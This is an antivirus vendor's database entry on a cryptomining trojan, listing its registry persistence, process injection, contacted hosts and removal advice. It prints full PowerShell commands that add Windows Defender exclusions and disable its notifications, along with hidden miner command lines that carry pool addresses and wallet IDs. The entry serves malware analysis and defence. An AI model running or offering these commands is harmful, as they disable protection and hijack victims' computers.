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Trojan.Siggen13.52076

Added to the Dr.Web virus database: 2021-06-06

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Windows Desktop Runtime' = '%ALLUSERSPROFILE%\Microsoft Windows Runtime\Microsoft Windows Desktop Runtime.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys'
Creates the following services
  • 'WinRing0_1_2_0' %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys
Malicious functions
Injects code into
the following system processes:
  • %WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe
the following user processes:
  • regasm.exe
Modifies file system
Creates the following files
  • %TEMP%\regasm.exe
  • %TEMP%\com surrogate.exe
  • %ALLUSERSPROFILE%\microsoft windows runtime\microsoft windows desktop runtime.exe
  • %TEMP%\realtek hd audio universal service.exe
  • %TEMP%\runtime broker.exe
Sets the 'hidden' attribute to the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
Deletes the following files
  • %TEMP%\com surrogate.exe
  • %TEMP%\realtek hd audio universal service.exe
  • %TEMP%\regasm.exe
Network activity
Connects to
  • 'pa###bin.com':443
  • 'cd#.##scordapp.com':443
  • 'po##.#upportxmr.com':3333
TCP
Other
  • 'pa###bin.com':443
  • 'cd#.##scordapp.com':443
  • 'po##.#upportxmr.com':3333
UDP
  • DNS ASK pa###bin.com
  • DNS ASK cd#.##scordapp.com
  • DNS ASK po##.#upportxmr.com
Miscellaneous
Creates and executes the following
  • '%TEMP%\regasm.exe'
  • '%TEMP%\com surrogate.exe'
  • '%TEMP%\realtek hd audio universal service.exe'
  • '%TEMP%\runtime broker.exe'
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe' --algo ETHASH --pool eth-eu.sparkpool.com:3333 --user 0x71fdcc0327cf3af2083cb3f1ca115087067caaf1.AMDRIG1' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v4.0.30319\regasm.exe' --donate-level 0 --max-cpu-usage 50 -o pool.supportxmr.com:3333 -u 49ZMf9zqpebBFbM1oeZChGHGhcuvZReqAiy1n9fq4FcbJeYv3FbGYwfUqsTM7p3CYCN7grTf3PYeYJh5y6YGpK879aJ5Xw8.INTELRIG' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /C powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA, $env:LOCALAPPDATA'\Temp\', '%appdata%\Microsoft\Windows\Start Menu...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -PUAProtection 1
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA, $env:LOCALAPPDATA'\Temp\', '%APPDATA%\Microsoft\Windows\Start Menu', 'C:\' -Excl...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Microsoft Windows Desktop Runtime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion...
  • '%WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe' --algo ETHASH --pool eth-eu.sparkpool.com:3333 --user 0x71fdcc0327cf3af2083cb3f1ca115087067caaf1.AMDRIG1
  • '%WINDIR%\microsoft.net\framework64\v4.0.30319\regasm.exe' --donate-level 0 --max-cpu-usage 50 -o pool.supportxmr.com:3333 -u 49ZMf9zqpebBFbM1oeZChGHGhcuvZReqAiy1n9fq4FcbJeYv3FbGYwfUqsTM7p3CYCN7grTf3PYeYJh5y6YGpK879aJ5Xw8.INTELRIG

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android